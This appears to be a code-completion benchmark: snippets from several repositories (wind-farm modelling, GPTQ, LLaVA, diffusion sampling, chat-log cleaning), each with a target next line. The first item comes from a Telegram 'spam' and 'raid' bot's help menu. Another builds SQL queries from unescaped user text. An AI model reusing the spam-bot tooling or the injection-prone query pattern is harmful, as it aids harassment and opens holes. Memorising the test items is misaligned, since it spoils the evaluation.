# © @shiva_ansh_op FIRST_TEXT = f"""★ 𝗦𝘁𝗿𝗮𝗻𝗴𝗲𝗿-𝙎𝙥𝙖𝙢 𝙃𝙚𝙡𝙥 𝙈𝙚𝙣𝙪 ★ **» ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/5) **» ʀᴀɪᴅ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/6) **» ꜱᴘᴀᴍ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/7) **» ᴅᴍ ᴄᴏᴍᴍᴀɴᴅꜱ:** [ᴄʟɪᴄᴋ ʜᴇʀᴇ](https://t.me/mastiwithfriendsx/8)""" @Client.on_message(filters.user(SUDO_USERS) & filters.command(["help"], [".", "!", "/"])) async def help(client: Client, message: Message): await client.send_photo( chat_id=message.chat.id, photo=ALIVE_PIC, caption=FIRST_TEXT ) @Client.on_message(filters.user(OWNER_ID) & filters.command(["sudo"], ["/", ".", "!"])) async def add_sudo(_, message: Message): if not message.reply_to_message: await message.reply_text("» ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜꜱᴇʀ !!") return

elif HEROKU_APP_NAME is None:

2023-11-14 05:14:00+00:00

2k

fg320/DEASC

deasc/wf_model.py

import warnings import numpy as np from .utils_floris import ( floris_input_handler, floris_properties, floris_current_yaw, floris_reinitialise_layout, floris_farm_eval )

# Copyright 2023 Filippo Gori # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. class WfModel: """ Class for wind farm modelling (Interface setup but not limited to FLORIS framework). """ def __init__(self, input_file, path): """ Initialise wind farm object by pointing towards an input file. (FLORIS interface object). Args ---- input file:(FLORIS .json input file). """ # Read and initialize input file self.input_file = input_file self.interface = floris_input_handler(self.input_file, path) # Assign wind farm model proporties

# Copyright 2023 Filippo Gori # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. class WfModel: """ Class for wind farm modelling (Interface setup but not limited to FLORIS framework). """ def __init__(self, input_file, path): """ Initialise wind farm object by pointing towards an input file. (FLORIS interface object). Args ---- input file:(FLORIS .json input file). """ # Read and initialize input file self.input_file = input_file self.interface = floris_input_handler(self.input_file, path) # Assign wind farm model proporties

self.D, self.H_hub, self.n_turbs = floris_properties(self)

2023-11-10 18:13:27+00:00

2k

CPES-Power-and-Energy-Systems/interoperable-recommender-tso

energy_app/src/energy_app_client/Controller.py

from time import time from loguru import logger from http import HTTPStatus from .Endpoint import Endpoint, post_actions from .RequestController import RequestController from .exception import LoginException, PostActionsException

class Controller(RequestController): def __init__(self): RequestController.__init__(self) self.access_token = "" def __check_if_token_exists(self): if self.access_token is None: e_msg = "Access token is not yet available. Login first." logger.error(e_msg) raise ValueError(e_msg) def set_access_token(self, token): self.access_token = token def login(self, email: str, password: str): raise NotImplementedError("Method not implemented.") def __request_template(self,

class Controller(RequestController): def __init__(self): RequestController.__init__(self) self.access_token = "" def __check_if_token_exists(self): if self.access_token is None: e_msg = "Access token is not yet available. Login first." logger.error(e_msg) raise ValueError(e_msg) def set_access_token(self, token): self.access_token = token def login(self, email: str, password: str): raise NotImplementedError("Method not implemented.") def __request_template(self,

endpoint_cls: Endpoint,

2023-11-17 09:23:38+00:00

2k

PlaxtonFlarion/NexaFlow

nexaflow/hook.py

import os import cv2 import typing from loguru import logger from nexaflow import toolbox from nexaflow.video import VideoFrame

class BaseHook(object): def __init__(self, *_, **__): # logger.debug(f"start initialing: {self.__class__.__name__} ...") logger.info(f"加载视频帧处理单元: Frame Processor {self.__class__.__name__} ...") self.result = dict() def do(self, frame: VideoFrame, *_, **__) -> typing.Optional[VideoFrame]: # info = f"execute hook: {self.__class__.__name__}" frame_id = frame.frame_id if frame_id != -1: # logger.debug(f"{info}, frame id: {frame_id}") pass return frame class ExampleHook(BaseHook): def __init__(self, *_, **__): super().__init__(*_, **__) def do(self, frame: VideoFrame, *_, **__) -> typing.Optional[VideoFrame]: super().do(frame, *_, **__)

class BaseHook(object): def __init__(self, *_, **__): # logger.debug(f"start initialing: {self.__class__.__name__} ...") logger.info(f"加载视频帧处理单元: Frame Processor {self.__class__.__name__} ...") self.result = dict() def do(self, frame: VideoFrame, *_, **__) -> typing.Optional[VideoFrame]: # info = f"execute hook: {self.__class__.__name__}" frame_id = frame.frame_id if frame_id != -1: # logger.debug(f"{info}, frame id: {frame_id}") pass return frame class ExampleHook(BaseHook): def __init__(self, *_, **__): super().__init__(*_, **__) def do(self, frame: VideoFrame, *_, **__) -> typing.Optional[VideoFrame]: super().do(frame, *_, **__)

frame.data = toolbox.turn_grey(frame.data)

2023-11-13 05:27:34+00:00

2k

OpenBMB/XAgent

tests/test_run.py

import pytest import sys from run import parse_args, execute_command_line_process, start_command_line from unittest.mock import patch

@pytest.fixture def mock_argv(monkeypatch): """ A pytest fixture to mock the command line arguments. It sets the sys.argv to mimic command line input for testing. """ test_args = ["--task", "example_task", "--upload-files", "file1", "file2", "--model", "model1"] monkeypatch.setattr(sys, 'argv', ['test_script.py'] + test_args) def test_parse_args(mock_argv): """ Test to ensure that the parse_args function correctly parses command line arguments. """

@pytest.fixture def mock_argv(monkeypatch): """ A pytest fixture to mock the command line arguments. It sets the sys.argv to mimic command line input for testing. """ test_args = ["--task", "example_task", "--upload-files", "file1", "file2", "--model", "model1"] monkeypatch.setattr(sys, 'argv', ['test_script.py'] + test_args) def test_parse_args(mock_argv): """ Test to ensure that the parse_args function correctly parses command line arguments. """

args = parse_args()

2023-10-16 03:44:57+00:00

2k

pytorch-labs/gpt-fast

GPTQ.py

import os import sys import torch import main as lm_evaluation_harness_main import torch.fx as fx import torch.nn as nn import torch.nn.functional as F import lm_eval from torch.utils._pytree import tree_flatten, tree_unflatten from eval import setup_cache_padded_seq_input_pos_max_seq_length_for_prefill from generate import encode_tokens

aten = torch.ops.aten try: class InputRecorder(lm_eval.base.BaseLM): """ This is a fake evaluation wrapper that just records the inputs so that they can be used in calibration. If pad_calibration_inputs is enabled, the input recorder will take each input and pad/truncate it down to the calibration_seq_length. It will also edit the model embeddings to be zero for the 0 token used in padding and avoid any inputs with the 0 token. If not, it will only truncate inputs to the desired length. """ def __init__( self, model, tokenizer, calibration_seq_length, pad_calibration_inputs=False, ): super().__init__() self._model = model self._tokenizer = tokenizer self._device = torch.device("cpu") self.vocab_size = model.config.vocab_size self.calibration_seq_length = calibration_seq_length self.pad_calibration_inputs = pad_calibration_inputs self.inputs = None if self.pad_calibration_inputs: # This is needed for the pad_calibration_inputs option # to work properly, the 0 token's embeddings are set to 0 so that # the padded inputs will not affect the model numerics. This token isn't used # commonly in the eval tasks for the meta-llama tokenizer and we skip any inputs # where it appears try: if isinstance(self._model.transformer.wte, nn.Embedding): self.mod.transformer.wte.weight.data[0, :] *= 0 except: print( "Did not find embeddings in model.transformer.wte, disabling padding" ) self.pad_calibration_inputs = False @property def eot_token_id(self): return self._tokenizer.eos_id() @property def max_length(self): return self.calibration_seq_length @property def max_gen_toks(self): return 50 @property def batch_size(self): return 1 @property def device(self): return self._device def tok_encode(self, string: str): encoded = encode_tokens( self._tokenizer, string, bos=True, eos=False, device=self._device ) # encoded is a pytorch tensor, but some internal logic in the # eval harness expects it to be a list instead # TODO: verify this for multi-batch as well encoded = encoded.tolist() return encoded def tok_decode(self, tokens): decoded = self._tokenizer.decode(tokens) return decoded def add_input(self, args): if self.inputs is None: self.inputs = [MultiInput([arg]) for arg in args] else: self.inputs = [ multi.add_input(arg) for (multi, arg) in zip(self.inputs, args) ] def get_recorded_inputs(self): return self.inputs def _model_call(self, inps): inps = inps.squeeze(0) T = len(inps) if ( # can't use inputs that are too short when padding disabled (T < self.calibration_seq_length and not self.pad_calibration_inputs) or # can't use inputs that actually use token we use for padding (self.pad_calibration_inputs and 0 in inps) ): # give random output return torch.randn( (1, T, self.vocab_size), dtype=torch.bfloat16, device=self._device ) # pad or truncate to the right size if T >= self.calibration_seq_length: inps = inps[: self.calibration_seq_length] else: inps = F.pad(inps, (0, self.calibration_seq_length - T)) max_new_tokens = 1 ( seq, input_pos, max_seq_length,

# Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. lm_evaluation_harness_path = "/".join( os.getcwd().split("/")[:-1] + ["lm-evaluation-harness"] ) sys.path.insert(0, lm_evaluation_harness_path) aten = torch.ops.aten try: class InputRecorder(lm_eval.base.BaseLM): """ This is a fake evaluation wrapper that just records the inputs so that they can be used in calibration. If pad_calibration_inputs is enabled, the input recorder will take each input and pad/truncate it down to the calibration_seq_length. It will also edit the model embeddings to be zero for the 0 token used in padding and avoid any inputs with the 0 token. If not, it will only truncate inputs to the desired length. """ def __init__( self, model, tokenizer, calibration_seq_length, pad_calibration_inputs=False, ): super().__init__() self._model = model self._tokenizer = tokenizer self._device = torch.device("cpu") self.vocab_size = model.config.vocab_size self.calibration_seq_length = calibration_seq_length self.pad_calibration_inputs = pad_calibration_inputs self.inputs = None if self.pad_calibration_inputs: # This is needed for the pad_calibration_inputs option # to work properly, the 0 token's embeddings are set to 0 so that # the padded inputs will not affect the model numerics. This token isn't used # commonly in the eval tasks for the meta-llama tokenizer and we skip any inputs # where it appears try: if isinstance(self._model.transformer.wte, nn.Embedding): self.mod.transformer.wte.weight.data[0, :] *= 0 except: print( "Did not find embeddings in model.transformer.wte, disabling padding" ) self.pad_calibration_inputs = False @property def eot_token_id(self): return self._tokenizer.eos_id() @property def max_length(self): return self.calibration_seq_length @property def max_gen_toks(self): return 50 @property def batch_size(self): return 1 @property def device(self): return self._device def tok_encode(self, string: str): encoded = encode_tokens( self._tokenizer, string, bos=True, eos=False, device=self._device ) # encoded is a pytorch tensor, but some internal logic in the # eval harness expects it to be a list instead # TODO: verify this for multi-batch as well encoded = encoded.tolist() return encoded def tok_decode(self, tokens): decoded = self._tokenizer.decode(tokens) return decoded def add_input(self, args): if self.inputs is None: self.inputs = [MultiInput([arg]) for arg in args] else: self.inputs = [ multi.add_input(arg) for (multi, arg) in zip(self.inputs, args) ] def get_recorded_inputs(self): return self.inputs def _model_call(self, inps): inps = inps.squeeze(0) T = len(inps) if ( # can't use inputs that are too short when padding disabled (T < self.calibration_seq_length and not self.pad_calibration_inputs) or # can't use inputs that actually use token we use for padding (self.pad_calibration_inputs and 0 in inps) ): # give random output return torch.randn( (1, T, self.vocab_size), dtype=torch.bfloat16, device=self._device ) # pad or truncate to the right size if T >= self.calibration_seq_length: inps = inps[: self.calibration_seq_length] else: inps = F.pad(inps, (0, self.calibration_seq_length - T)) max_new_tokens = 1 ( seq, input_pos, max_seq_length,

) = setup_cache_padded_seq_input_pos_max_seq_length_for_prefill(

2023-10-17 05:30:32+00:00

2k

deepseek-ai/DeepSeek-Coder

Evaluation/MBPP/human_eval/evaluate_functional_correctness.py

import fire import sys from .data import HUMAN_EVAL from .evaluation import evaluate_functional_correctness

def entry_point( sample_file: str, k: str = "1,10,100", n_workers: int = 4, timeout: float = 3.0, problem_file: str = "", is_mbpp: bool = False, ): """ Evaluates the functional correctness of generated samples, and writes results to f"{sample_file}_results.jsonl.gz" """ k = list(map(int, k.split(",")))

def entry_point( sample_file: str, k: str = "1,10,100", n_workers: int = 4, timeout: float = 3.0, problem_file: str = "", is_mbpp: bool = False, ): """ Evaluates the functional correctness of generated samples, and writes results to f"{sample_file}_results.jsonl.gz" """ k = list(map(int, k.split(",")))

results = evaluate_functional_correctness(sample_file, k, n_workers, timeout, problem_file, is_mbpp)

2023-10-20 06:38:01+00:00

2k

PKU-YuanGroup/Video-LLaVA

llava/model/llava_arch.py

from abc import ABC, abstractmethod from .multimodal_encoder.builder import build_image_tower, build_video_tower from .multimodal_projector.builder import build_vision_projector from llava.constants import IGNORE_INDEX, X_TOKEN_INDEX, DEFAULT_X_PATCH_TOKEN, DEFAULT_X_START_TOKEN, DEFAULT_X_END_TOKEN import torch import torch.nn as nn

# Copyright 2023 Haotian Liu # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. class LlavaMetaModel: def __init__(self, config): super(LlavaMetaModel, self).__init__(config) if hasattr(config, "mm_image_tower"): self.image_tower = build_image_tower(config, delay_load=True)

# Copyright 2023 Haotian Liu # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. class LlavaMetaModel: def __init__(self, config): super(LlavaMetaModel, self).__init__(config) if hasattr(config, "mm_image_tower"): self.image_tower = build_image_tower(config, delay_load=True)

self.mm_projector = build_vision_projector(config)

2023-10-23 05:43:54+00:00

2k

deepseek-ai/DreamCraft3D

extern/ldm_zero123/models/diffusion/ddim.py

from functools import partial from tqdm import tqdm from extern.ldm_zero123.models.diffusion.sampling_util import ( norm_thresholding, renorm_thresholding, spatial_norm_thresholding, ) from extern.ldm_zero123.modules.diffusionmodules.util import ( extract_into_tensor, make_ddim_sampling_parameters, make_ddim_timesteps, noise_like, ) import numpy as np import torch

"""SAMPLING ONLY.""" class DDIMSampler(object): def __init__(self, model, schedule="linear", **kwargs): super().__init__() self.model = model self.ddpm_num_timesteps = model.num_timesteps self.schedule = schedule def to(self, device): """Same as to in torch module Don't really underestand why this isn't a module in the first place""" for k, v in self.__dict__.items(): if isinstance(v, torch.Tensor): new_v = getattr(self, k).to(device) setattr(self, k, new_v) def register_buffer(self, name, attr): if type(attr) == torch.Tensor: if attr.device != torch.device("cuda"): attr = attr.to(torch.device("cuda")) setattr(self, name, attr) def make_schedule( self, ddim_num_steps, ddim_discretize="uniform", ddim_eta=0.0, verbose=True ):

"""SAMPLING ONLY.""" class DDIMSampler(object): def __init__(self, model, schedule="linear", **kwargs): super().__init__() self.model = model self.ddpm_num_timesteps = model.num_timesteps self.schedule = schedule def to(self, device): """Same as to in torch module Don't really underestand why this isn't a module in the first place""" for k, v in self.__dict__.items(): if isinstance(v, torch.Tensor): new_v = getattr(self, k).to(device) setattr(self, k, new_v) def register_buffer(self, name, attr): if type(attr) == torch.Tensor: if attr.device != torch.device("cuda"): attr = attr.to(torch.device("cuda")) setattr(self, name, attr) def make_schedule( self, ddim_num_steps, ddim_discretize="uniform", ddim_eta=0.0, verbose=True ):

self.ddim_timesteps = make_ddim_timesteps(

2023-10-23 07:40:20+00:00

2k

YORG-AI/Open-Assistant

package/src/yorgassistant/core/nodes/github/github_search.py

from ..base_node import BaseNode, NodeConfig from .github_node import GithubNode from .github_model import ( SearchCodeInput, SearchCommitsInput, SearchIssuesAndPRsInput, SearchLabelsInput, SearchRepositoriesInput, SearchTopicsInput, SearchUsersInput, )

github_search_node_config = { "name": "github_search", "description": "A node for searching various entities on GitHub.", "functions": { "search_code": "Search code.", "search_commits": "Search commits.", "search_issues_and_prs": "Search issues and pull requests.", "search_labels": "Search labels.", "search_repositories": "Search repositories.", "search_topics": "Search topics.", "search_users": "Search users.", }, }

github_search_node_config = { "name": "github_search", "description": "A node for searching various entities on GitHub.", "functions": { "search_code": "Search code.", "search_commits": "Search commits.", "search_issues_and_prs": "Search issues and pull requests.", "search_labels": "Search labels.", "search_repositories": "Search repositories.", "search_topics": "Search topics.", "search_users": "Search users.", }, }

class GithubSearchNode(GithubNode):

2023-10-24 15:15:48+00:00

2k

zju3dv/4K4D

scripts/realtime4dv/charger.py

from os.path import join from easyvolcap.utils.console_utils import * from easyvolcap.utils.data_utils import to_numpy from easyvolcap.utils.net_utils import save_npz from easyvolcap.scripts.main import test # will do everything a normal user would do from easyvolcap.engine import cfg from easyvolcap.engine import SAMPLERS from easyvolcap.runners.volumetric_video_runner import VolumetricVideoRunner import sys import torch import argparse

# This function will try to invoke evc programmatically @catch_throw def main(): # fmt: off sys.path.append('.') sep_ind = sys.argv.index('--') our_args = sys.argv[1:sep_ind] evv_args = sys.argv[sep_ind + 1:] sys.argv = [sys.argv[0]] + ['-t','test'] + evv_args parser = argparse.ArgumentParser() parser.add_argument('--sampler', type=str, default='SuperChargedR4DVB') parser.add_argument('--sub_sampler', type=str, default='SuperChargedR4DV') parser.add_argument('--exp_name', type=str, default='scr4dvb_dance3') parser.add_argument('--save_fp32', action='store_true') parser.add_argument('--save_pt', action='store_true') parser.add_argument('--no_save_npz', action='store_false', dest='save_npz') args = parser.parse_args(our_args) # You have to save at least one type of model

# This function will try to invoke evc programmatically @catch_throw def main(): # fmt: off sys.path.append('.') sep_ind = sys.argv.index('--') our_args = sys.argv[1:sep_ind] evv_args = sys.argv[sep_ind + 1:] sys.argv = [sys.argv[0]] + ['-t','test'] + evv_args parser = argparse.ArgumentParser() parser.add_argument('--sampler', type=str, default='SuperChargedR4DVB') parser.add_argument('--sub_sampler', type=str, default='SuperChargedR4DV') parser.add_argument('--exp_name', type=str, default='scr4dvb_dance3') parser.add_argument('--save_fp32', action='store_true') parser.add_argument('--save_pt', action='store_true') parser.add_argument('--no_save_npz', action='store_false', dest='save_npz') args = parser.parse_args(our_args) # You have to save at least one type of model

assert args.save_pt or args.save_npz

2023-10-17 04:48:46+00:00

2k

pchunduri6/rag-demystified

complex_qa.py

import os import requests import warnings import evadb from dotenv import load_dotenv from pathlib import Path from subquestion_generator import generate_subquestions from openai_utils import llm_call

warnings.filterwarnings("ignore") if not load_dotenv(): print( "Could not load .env file or it is empty. Please check if it exists and is readable." ) exit(1) def generate_vector_stores(cursor, docs): """Generate a vector store for the docs using evadb. """ for doc in docs: print(f"Creating vector store for {doc}...") cursor.query(f"DROP TABLE IF EXISTS {doc};").df() cursor.query(f"LOAD DOCUMENT 'data/{doc}.txt' INTO {doc};").df() evadb_path = os.path.dirname(evadb.__file__) cursor.query( f"""CREATE FUNCTION IF NOT EXISTS SentenceFeatureExtractor IMPL '{evadb_path}/functions/sentence_feature_extractor.py'; """).df() cursor.query( f"""CREATE TABLE IF NOT EXISTS {doc}_features AS SELECT SentenceFeatureExtractor(data), data FROM {doc};""" ).df() cursor.query( f"CREATE INDEX IF NOT EXISTS {doc}_index ON {doc}_features (features) USING FAISS;" ).df() print(f"Successfully created vector store for {doc}.") def vector_retrieval(cursor, llm_model, question, doc_name): """Returns the answer to a factoid question using vector retrieval. """ res_batch = cursor.query( f"""SELECT data FROM {doc_name}_features ORDER BY Similarity(SentenceFeatureExtractor('{question}'),features) LIMIT 3;""" ).df() context_list = [] for i in range(len(res_batch)): context_list.append(res_batch["data"][i]) context = "\n".join(context_list) user_prompt = f"""You are an assistant for question-answering tasks. Use the following pieces of retrieved context to answer the question. If you don't know the answer, just say that you don't know. Use three sentences maximum and keep the answer concise. Question: {question} Context: {context} Answer:"""

warnings.filterwarnings("ignore") if not load_dotenv(): print( "Could not load .env file or it is empty. Please check if it exists and is readable." ) exit(1) def generate_vector_stores(cursor, docs): """Generate a vector store for the docs using evadb. """ for doc in docs: print(f"Creating vector store for {doc}...") cursor.query(f"DROP TABLE IF EXISTS {doc};").df() cursor.query(f"LOAD DOCUMENT 'data/{doc}.txt' INTO {doc};").df() evadb_path = os.path.dirname(evadb.__file__) cursor.query( f"""CREATE FUNCTION IF NOT EXISTS SentenceFeatureExtractor IMPL '{evadb_path}/functions/sentence_feature_extractor.py'; """).df() cursor.query( f"""CREATE TABLE IF NOT EXISTS {doc}_features AS SELECT SentenceFeatureExtractor(data), data FROM {doc};""" ).df() cursor.query( f"CREATE INDEX IF NOT EXISTS {doc}_index ON {doc}_features (features) USING FAISS;" ).df() print(f"Successfully created vector store for {doc}.") def vector_retrieval(cursor, llm_model, question, doc_name): """Returns the answer to a factoid question using vector retrieval. """ res_batch = cursor.query( f"""SELECT data FROM {doc_name}_features ORDER BY Similarity(SentenceFeatureExtractor('{question}'),features) LIMIT 3;""" ).df() context_list = [] for i in range(len(res_batch)): context_list.append(res_batch["data"][i]) context = "\n".join(context_list) user_prompt = f"""You are an assistant for question-answering tasks. Use the following pieces of retrieved context to answer the question. If you don't know the answer, just say that you don't know. Use three sentences maximum and keep the answer concise. Question: {question} Context: {context} Answer:"""

response, cost = llm_call(model=llm_model, user_prompt=user_prompt)

2023-10-18 16:32:51+00:00

2k

predibase/lorax

server/lorax_server/utils/sources/hub.py

import time import os from datetime import timedelta from loguru import logger from pathlib import Path from typing import Optional, List from huggingface_hub import HfApi, hf_hub_download from huggingface_hub.constants import HUGGINGFACE_HUB_CACHE from huggingface_hub.utils import ( LocalEntryNotFoundError, EntryNotFoundError, RevisionNotFoundError, # Import here to ease try/except in other part of the lib ) from .source import BaseModelSource, try_to_load_from_cache

WEIGHTS_CACHE_OVERRIDE = os.getenv("WEIGHTS_CACHE_OVERRIDE", None) def get_hub_model_local_dir(model_id: str) -> Path: object_id = model_id.replace("/", "--") repo_cache = Path(HUGGINGFACE_HUB_CACHE) / f"models--{object_id}" return repo_cache def weight_hub_files( model_id: str, revision: Optional[str] = None, extension: str = ".safetensors" ) -> List[str]: """Get the weights filenames on the hub""" api = HfApi() info = api.model_info(model_id, revision=revision) filenames = [ s.rfilename for s in info.siblings if s.rfilename.endswith(extension) and len(s.rfilename.split("/")) == 1 and "arguments" not in s.rfilename and "args" not in s.rfilename and "training" not in s.rfilename ] if not filenames: raise EntryNotFoundError( f"No {extension} weights found for model {model_id} and revision {revision}.", None, ) return filenames def weight_files( model_id: str, revision: Optional[str] = None, extension: str = ".safetensors" ) -> List[Path]: """Get the local files""" # Local model if Path(model_id).exists() and Path(model_id).is_dir(): local_files = list(Path(model_id).glob(f"*{extension}")) if not local_files: raise FileNotFoundError( f"No local weights found in {model_id} with extension {extension}" ) return local_files try: filenames = weight_hub_files(model_id, revision, extension) except EntryNotFoundError as e: if extension != ".safetensors": raise e # Try to see if there are pytorch weights pt_filenames = weight_hub_files(model_id, revision, extension=".bin") # Change pytorch extension to safetensors extension # It is possible that we have safetensors weights locally even though they are not on the # hub if we converted weights locally without pushing them filenames = [ f"{Path(f).stem.lstrip('pytorch_')}.safetensors" for f in pt_filenames ] if WEIGHTS_CACHE_OVERRIDE is not None: files = [] for filename in filenames: p = Path(WEIGHTS_CACHE_OVERRIDE) / filename if not p.exists(): raise FileNotFoundError( f"File {p} not found in {WEIGHTS_CACHE_OVERRIDE}." ) files.append(p) return files repo_cache = get_hub_model_local_dir(model_id) files = [] for filename in filenames:

WEIGHTS_CACHE_OVERRIDE = os.getenv("WEIGHTS_CACHE_OVERRIDE", None) def get_hub_model_local_dir(model_id: str) -> Path: object_id = model_id.replace("/", "--") repo_cache = Path(HUGGINGFACE_HUB_CACHE) / f"models--{object_id}" return repo_cache def weight_hub_files( model_id: str, revision: Optional[str] = None, extension: str = ".safetensors" ) -> List[str]: """Get the weights filenames on the hub""" api = HfApi() info = api.model_info(model_id, revision=revision) filenames = [ s.rfilename for s in info.siblings if s.rfilename.endswith(extension) and len(s.rfilename.split("/")) == 1 and "arguments" not in s.rfilename and "args" not in s.rfilename and "training" not in s.rfilename ] if not filenames: raise EntryNotFoundError( f"No {extension} weights found for model {model_id} and revision {revision}.", None, ) return filenames def weight_files( model_id: str, revision: Optional[str] = None, extension: str = ".safetensors" ) -> List[Path]: """Get the local files""" # Local model if Path(model_id).exists() and Path(model_id).is_dir(): local_files = list(Path(model_id).glob(f"*{extension}")) if not local_files: raise FileNotFoundError( f"No local weights found in {model_id} with extension {extension}" ) return local_files try: filenames = weight_hub_files(model_id, revision, extension) except EntryNotFoundError as e: if extension != ".safetensors": raise e # Try to see if there are pytorch weights pt_filenames = weight_hub_files(model_id, revision, extension=".bin") # Change pytorch extension to safetensors extension # It is possible that we have safetensors weights locally even though they are not on the # hub if we converted weights locally without pushing them filenames = [ f"{Path(f).stem.lstrip('pytorch_')}.safetensors" for f in pt_filenames ] if WEIGHTS_CACHE_OVERRIDE is not None: files = [] for filename in filenames: p = Path(WEIGHTS_CACHE_OVERRIDE) / filename if not p.exists(): raise FileNotFoundError( f"File {p} not found in {WEIGHTS_CACHE_OVERRIDE}." ) files.append(p) return files repo_cache = get_hub_model_local_dir(model_id) files = [] for filename in filenames:

cache_file = try_to_load_from_cache(

2023-10-20 18:19:49+00:00

2k

codefuse-ai/Test-Agent

chat/server/monitor/clean_chat_data.py

import argparse import datetime import json import os import time from pytz import timezone from tqdm import tqdm from chat.server.monitor.basic_stats import NUM_SERVERS from chat.server.monitor.clean_battle_data import ( to_openai_format, replace_model_name, ) from chat.utils import detect_language

""" Clean chatbot arena chat log. Usage: python3 clean_chat_data.py --mode conv_release """ NETWORK_ERROR_MSG = ( "NETWORK ERROR DUE TO HIGH TRAFFIC. PLEASE REGENERATE OR REFRESH THIS PAGE.".lower() ) def get_log_files(max_num_files=None): dates = [] for month in [4, 5, 6, 7]: for day in range(1, 32): dates.append(f"2023-{month:02d}-{day:02d}") for month in [8]: for day in range(1, 32): dates.append(f"2023-{month:02d}-{day:02d}") filenames = [] for d in dates: for i in range(NUM_SERVERS): name = os.path.expanduser(f"~/fastchat_logs/server{i}/{d}-conv.json") if os.path.exists(name): filenames.append(name) max_num_files = max_num_files or len(filenames) # filenames = list(reversed(filenames)) filenames = filenames[-max_num_files:] return filenames def clean_chat_data(log_files): raw_data = [] for filename in tqdm(log_files, desc="read files"): for retry in range(5): try: lines = open(filename).readlines() break except FileNotFoundError: time.sleep(2) for l in lines: row = json.loads(l) if row["type"] == "chat": raw_data.append(row) all_models = set() all_ips = dict() chats = [] ct_invalid_conv_id = 0 ct_invalid = 0 ct_network_error = 0 for row in raw_data: if "conv_id" not in row["state"]: ct_invalid_conv_id += 1 continue conversation_id = row["state"]["conv_id"] if conversation_id is None: ct_invalid_conv_id += 1 continue state = row["state"]

""" Clean chatbot arena chat log. Usage: python3 clean_chat_data.py --mode conv_release """ NETWORK_ERROR_MSG = ( "NETWORK ERROR DUE TO HIGH TRAFFIC. PLEASE REGENERATE OR REFRESH THIS PAGE.".lower() ) def get_log_files(max_num_files=None): dates = [] for month in [4, 5, 6, 7]: for day in range(1, 32): dates.append(f"2023-{month:02d}-{day:02d}") for month in [8]: for day in range(1, 32): dates.append(f"2023-{month:02d}-{day:02d}") filenames = [] for d in dates: for i in range(NUM_SERVERS): name = os.path.expanduser(f"~/fastchat_logs/server{i}/{d}-conv.json") if os.path.exists(name): filenames.append(name) max_num_files = max_num_files or len(filenames) # filenames = list(reversed(filenames)) filenames = filenames[-max_num_files:] return filenames def clean_chat_data(log_files): raw_data = [] for filename in tqdm(log_files, desc="read files"): for retry in range(5): try: lines = open(filename).readlines() break except FileNotFoundError: time.sleep(2) for l in lines: row = json.loads(l) if row["type"] == "chat": raw_data.append(row) all_models = set() all_ips = dict() chats = [] ct_invalid_conv_id = 0 ct_invalid = 0 ct_network_error = 0 for row in raw_data: if "conv_id" not in row["state"]: ct_invalid_conv_id += 1 continue conversation_id = row["state"]["conv_id"] if conversation_id is None: ct_invalid_conv_id += 1 continue state = row["state"]

conversation = to_openai_format(state["messages"][state["offset"] :])

2023-10-20 08:56:20+00:00

2k